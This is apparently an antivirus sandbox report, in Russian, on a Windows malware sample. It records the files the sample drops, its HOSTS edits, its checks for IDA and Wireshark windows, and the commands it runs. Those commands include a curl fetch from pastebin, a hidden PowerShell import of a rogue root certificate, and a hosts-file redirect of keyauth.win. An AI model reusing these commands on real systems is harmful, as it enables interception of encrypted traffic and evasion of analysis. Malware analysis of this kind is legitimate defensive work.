Техническая информация
Изменения в файловой системе
Создает следующие файлы
- %TEMP%\auta16d.tmp
- %TEMP%\srd086567283cf246bfb085bdd85e7071b2.exe
- %TEMP%\auta43b.tmp
- %WINDIR%\syswow64\k.bat
- nul
Удаляет следующие файлы
- %TEMP%\auta16d.tmp
- %TEMP%\auta43b.tmp
- %WINDIR%\syswow64\k.bat
Изменяет файл HOSTS.
Другое
Ищет следующие окна
- ClassName: 'ida64' WindowName: ''
- ClassName: '' WindowName: ''
- ClassName: 'The Wireshark Network Analyzer' WindowName: ''
Создает и запускает на исполнение
- '%TEMP%\srd086567283cf246bfb085bdd85e7071b2.exe'
- '%TEMP%\srd086567283cf246bfb085bdd85e7071b2.exe' 2792
- '%WINDIR%\syswow64\cmd.exe' /c <SYSTEM32>\k.bat' (со скрытым окном)
Запускает на исполнение
- '%WINDIR%\syswow64\cmd.exe' /c <SYSTEM32>\k.bat
- '%WINDIR%\syswow64\cmd.exe' /c curl -s https://pastebin.com/raw/sD69ivJ5
- '%WINDIR%\syswow64\cmd.exe' /S /D /c" echo "
- '%WINDIR%\syswow64\findstr.exe' /R "^[0-9]*\.[0-9]*\.[0-9]*\.[0-9]*$"
- '%WINDIR%\syswow64\certutil.exe' -store TrustedRoot
- '%WINDIR%\syswow64\findstr.exe' /i /c:"%WINDIR%\server.crt"
- '%WINDIR%\syswow64\windowspowershell\v1.0\powershell.exe' -ExecutionPolicy Bypass -Command "Import-Certificate -FilePath '%WINDIR%\server.crt' -CertStoreLocation 'Cert:\LocalMachine\Root' -ErrorAction SilentlyContinue"
- '%WINDIR%\syswow64\findstr.exe' /C:" keyauth.win" "<DRIVERS>\etc\hosts"
- '%WINDIR%\syswow64\ipconfig.exe' /flushdns
- '<SYSTEM32>\cmd.exe' /c certutil -hashfile "%TEMP%\SRD086567283CF246BFB085BDD85E7071B2.exe" MD5 | find /i /v "md5" | find /i /v "certutil"
- '<SYSTEM32>\certutil.exe' -hashfile "%TEMP%\SRD086567283CF246BFB085BDD85E7071B2.exe" MD5
- '<SYSTEM32>\find.exe' /i /v "md5"
- '<SYSTEM32>\find.exe' /i /v "certutil"
